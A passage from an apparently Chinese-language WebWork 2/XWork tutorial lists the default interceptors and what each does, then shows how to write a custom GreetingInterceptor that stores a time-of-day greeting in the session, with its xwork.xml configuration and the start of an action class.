<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.webwork.views.xslt.XSLTResult"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/result-types&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptors&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="timer" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.interceptor.TimerInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="logger" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.interceptor.LoggingInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="chain" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.interceptor.ChainingInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="static-params" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.interceptor.StaticParametersInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="params" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.interceptor.ParametersInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="model-driven" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.interceptor.ModelDrivenInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="component" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.interceptor.component.ComponentInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="token" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.webwork.interceptor.TokenInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="token-session" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.webwork.interceptor.TokenSessionStoreInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="validation" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.ValidationInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="workflow" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.interceptor.DefaultWorkflowInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="servlet-config" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.webwork.interceptor.ServletConfigInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="prepare" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.interceptor.PrepareInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="conversionError" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.webwork.interceptor.WebWorkConversionErrorInterceptor"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-stack name="defaultStack"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-ref name="static-params"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-ref name="params"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-ref name="conversionError"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/interceptor-stack&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-stack name="validationWorkflowStack"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-ref name="defaultStack"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-ref name="validation"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-ref name="workflow"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/interceptor-stack&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/interceptors&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/package&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/xwork&gt;</font></font></span></pre>
</div>
<p><span>既然在我们的</span><span><font face=Century>xwork.xml</font></span><span>中包含了</span><span><font face=Century>webwork-default.xml</font></span><span>，我们就可以在</span><span><font face=Century>Action</font></span><span>中使用这些</span><span><font face=Century>Interceptor</font></span><span>或</span><span><font face=Century>Interceptor</font></span><span>堆。下面是这些</span><span><font face=Century>Interceptor</font></span><span>做的事情：</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>timer</font></span></strong><span>：对</span><span><font face=Century>Action</font></span><span>的执行进行计时（包括嵌套的</span><span><font face=Century>Interceptor</font></span><span>和视图）</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>chain</font></span></strong><span>：使前一个</span><span><font face=Century>Action</font></span><span>的属性对当前的</span><span><font face=Century>Action</font></span><span>有效，通常创建</span><span><font face=Century>Action</font></span><span>链</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>static-params</font></span></strong><span>：设置</span><span><font face=Century>xwork.xml</font></span><span>中的参数到</span><span><font face=Century>Action</font></span><span>中（</span><span><font face=Century>&lt;action /&gt;</font></span><span>内嵌的</span><span><font face=Century>&lt;param /&gt;</font></span><span>）</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>params</font></span></strong><span>：设置请求参数（</span><span><font face=Century>POST</font></span><span>或</span><span><font face=Century>GET</font></span><span>）到</span><span><font face=Century>Action</font></span><span>中</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>model-driven</font></span></strong><span>：如果</span><span><font face=Century>Action</font></span><span>实现</span><span><font face=Century>ModelDriven</font></span><span>，将</span><span><font face=Century>getModel()</font></span><span>的结果推到</span><span><font face=Century>Value Stack</font></span><span>中</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>component</font></span></strong><span>：使能和注册组件，使其对</span><span><font face=Century>Action</font></span><span>有效</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>token</font></span></strong><span>：检查</span><span><font face=Century>Action</font></span><span>中的有效</span><span><font face=Century>token</font></span><span>，防止重复提交</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>token-session</font></span></strong><span>：同上，但是当处理到无效</span><span><font face=Century>token</font></span><span>时，在</span><span><font face=Century>session</font></span><span>中保存提交的数据</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>validation</font></span></strong><span>：使用在</span><span><font face=Century>{Action}-vaildation.xml</font></span><span>中定义的验证器进行数据验证</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>workflow</font></span></strong><span>：调用</span><span><font face=Century>Action</font></span><span>类中的</span><span><font face=Century>validate()</font></span><span>方法，在发生错误时，返回</span><span><font face=Century>INPUT</font></span><span>视图；应该和</span><span><font face=Century>validation Interceptor</font></span><span>一起使用</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>servlet-config</font></span></strong><span>：获得对</span><span><font face=Century>HttpServletRequest</font></span><span>和</span><span><font face=Century>HttpServletResponse</font></span><span>的访问（由于绑定到</span><span><font face=Century>Servlet API</font></span><span>，最好不要使用）</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>prepare</font></span></strong></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><span><font face=Century>conversionError</font></span></strong></p>
<p><span>（</span><span><font face=Century>2</font></span><span>）创建自己的</span><span><font face=Century>Interceptor</font></span></p>
<p><span>如果上面的</span><span><font face=Century>Interceptor</font></span><span>没有适合你的，你可以创建自己的</span><span><font face=Century>Interceptor</font></span><span>。下面的例子假设我们需要一个</span><span><font face=Century>Interceptor</font></span><span>在</span><span><font face=Century>session</font></span><span>中根据当天时间放置一个欢迎信息：</span></p>
<p><span><font face=Century>GreetingInterceptor.java</font></span><span>：</span></p>
<div>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>package</font></span></span><span> lesson05;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>import</font></span></span><span> java.util.Calendar;</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>import</font></span></span><span> com.opensymphony.xwork.interceptor.Interceptor;</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>import</font></span></span><span> com.opensymphony.xwork.ActionInvocation;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>public</font></span></span><span> class GreetingInterceptor </span><span><span><font color=#000066>implements</font></span></span><span> Interceptor {</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>public</font></span></span><span> void init() { }</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>public</font></span></span><span> void destroy() { }</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>public</font></span></span><span> </span><span><span><font color=#660066>String</font></span></span><span> intercept(ActionInvocation invocation) </span><span><span><font color=#000066>throws</font></span></span><span> Exception {</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Calendar calendar = Calendar.getInstance();</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#660066>int</font></span></span><span> hour = calendar.get(Calendar.HOUR_OF_DAY);</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#660066>String</font></span></span><span> greeting = (hour &lt; 6) ? "Good evening" : </span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>((hour &lt; 12) ? "Good morning": </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>((hour &lt; 18) ? "Good afternoon": "Good evening"));</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>invocation.getInvocationContext().getSession().put("greeting", greeting);</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#660066>String</font></span></span><span> result = invocation.invoke();</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>return</font></span></span><span> result;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">}</font></font></span></pre>
</div>
<p><span><font face=Century>xwork.xml</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;xwork&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Include webwork defaults (from WebWork-2.1 JAR). --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;include file="webwork-default.xml" /&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Configuration for the default package. --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;package name="default" extends="webwork-default"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptors&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor name="greeting" class="section02.lesson05.GreetingInterceptor" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/interceptors&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Action: Lesson 5: GreetingInterceptor. --&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;action name="greetingAction" class="lesson05.GreetingAction"&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="success" type="velocity"&gt;ex01-result.vm&lt;/result&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-ref name="greeting" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/action&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/package&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/xwork&gt;</font></font></span></pre>
</div>
<p><span><font face=Century>GreetingAction.java</font></span><span>：</span></p>
<div>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>package</font></span></span><span> lesson05;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>import</font></span></span><span> com.opensymphony.xwork.ActionSupport;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>public</font></span></span><span> class GreetingAction </span><span><span><font color=#000066>extends</font></span></span><span> ActionSupport {</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>public</font></span></span><span> </span><span><span><font color=#660066>String</font></span></span><span> execute() </span><span><span><font color=#000066>throws</font></span></span><span> Exception {</span></font></font></pre>
